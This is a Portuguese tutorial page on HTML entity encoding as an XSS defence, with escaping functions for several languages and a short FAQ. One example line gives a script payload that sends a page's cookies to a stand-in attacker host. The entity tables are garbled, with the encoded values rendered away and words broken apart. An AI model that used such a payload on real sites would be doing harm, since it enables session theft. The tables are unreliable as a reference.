Entidades HTML e escape: como a codificação adequada evita ataques XSS

A codificação de entidade HTML converte caracteres especiais (<, >, &, ", ') em representações seguras (< > & " '). Isso evita ataques de Cross-Site Scripting (XSS) ao exibir a entrada do usuário em páginas da web.

HTML entities encoding preventing XSS injection with special character conversion diagram

O que são entidades HTML?

Browser DOM parser execution difference between innerHTML and safe textContent

Core XML and HTML escape entities table showing less-than, greater-than, ampersand, and quotes

Entidades HTML são representações de caracteres que têm um significado especial na marcação HTML. Os cinco caracteres mais importantes para codificar:

CaracterEntidade HTMLEntidade nomeadaPor que Perigoso
<<<Abre HTML tags
>>>Fecha HTML tags
&& &Começa entidade referências
"&qu ot;"Fecha atributo valores
'' 'Fecha valores de atributos

Entidades de exibição comuns:

PersonagemHTML EntidadeSignificado
©©Direitos autorais
®®Registrado marca registrada
™™Tr ademark
→→Certo seta
←←Esquerda arrow
••Bu llet
——Em traço
––En traço
  Inquebrável espaço
€€Euro assinar

Como funcionam os ataques XSS e como a codificação os evita

Cross-Site Scripting XSS attack surface architecture showing reflected, stored, and DOM vectors

Cross-Site Scripting (XSS) é uma das vulnerabilidades da web mais comuns. Ocorre quando dados controlados pelo invasor são exibidos em uma página da web sem serem escapados adequadamente.

Exemplo de vulnerabilidade: Uma página de pesquisa exibe: "Você pesquisou por: [entrada do usuário]" O invasor envia: <script>document.location='https://evil.com/?cookies='+document.cookie</script> Sem codificação, o navegador executa este script, roubando cookies de sessão.

Com codificação de entidade HTML adequada: O < torna-se < e > torna-se >. O navegador exibe o texto bruto em vez de executá-lo como código.

Por que isso é importante: O relatório anual da OWASP classifica consistentemente o XSS entre as 10 principais vulnerabilidades da web. As principais violações exploraram o XSS para roubar tokens de sessão, desfigurar sites e redirecionar usuários para sites maliciosos.


Codificação e decodificação de entidades HTML no ToolDolfen

Safe versus unsafe HTML code execution and rendering benchmark

ToolDolfen in-browser HTML entity encoder and decoder client-side workflow

Use a ferramenta Codificador de Entidades HTML para:

  1. Codificar HTML: Cole o conteúdo enviado pelo usuário, as respostas da API ou qualquer string que será exibida em um documento HTML. A ferramenta converte todos os caracteres perigosos em referências de entidades seguras.
  1. Decodificar entidades: Cole HTML codificado por entidade para ver os caracteres originais – útil ao depurar conteúdo com escape em respostas de API ou mecanismos de modelo.

No código: Estruturas de back-end adequadas fornecem funções de codificação HTML integradas:

  • PHP: htmlspecialchars($text, ENT_QUOTES, 'UTF-8')
  • Python: html.escape(text)
  • Node.js: use uma biblioteca como he ou entidades
  • .NET: HttpUtility.HtmlEncode(text)

Guias complementares recomendados

Explore tutoriais e utilitários complementares deste grupo de tópicos para aprimorar seu fluxo de trabalho digital:

Convertendo CSV em JSON: análise de tipo, objetos aninhados e tratamento de cabeçalhoTutorial prático passo a passo com padrões verificados e no navegador fluxos de trabalho.Convertendo JSON aninhado em CSV simples: tratamento de estruturas de dados complexasTutorial prático passo a passo com padrões verificados e no navegador fluxos de trabalho.Guia moderno de favicon: ICO, PNG, SVG e manifestos de aplicativos da WebTutorial prático passo a passo com padrões verificados e no navegador fluxos de trabalho.OCR: como o reconhecimento óptico de caracteres extrai texto de imagens e PDFsFluxo de trabalho complementar de vários formatos conectando dados e mídia relacionados ferramentas.
Utilitário recomendado: codificador de entidades HTMLExecute este fluxo de trabalho ao vivo em seu navegador, sem uploads de servidor e 100% de privacidade do lado do cliente.
Codificador de Entidades HTML
Codificador de Entidades HTML

Perguntas Frequentes

Encontre respostas rápidas e verificadas para perguntas comuns sobre este fluxo de trabalho.

Qual é a entidade HTML do símbolo de copyright?

© ou © produz o símbolo de copyright ©. Tanto a entidade nomeada (©) quanto a entidade numérica (©) funcionam em todos os navegadores.

A codificação de entidade HTML é igual à codificação de URL?

Não. A codificação de entidade HTML converte caracteres para exibição segura em documentos HTML (< = <). A codificação de URL (codificação percentual) converte caracteres para uso seguro em URLs (%3C = <). Ambos convertem os mesmos caracteres, mas usam notações e contextos diferentes.

As estruturas JavaScript modernas escapam automaticamente do HTML?

Sim – React, Vue, Angular e Svelte escapam do HTML por padrão ao renderizar conteúdo de texto. É por isso que os ataques XSS em SPAs modernos são menos comuns. No entanto, usar innerHTML, perigosamenteSetInnerHTML (React) ou v-html (Vue) ignora essa proteção.

Bilal Ahmad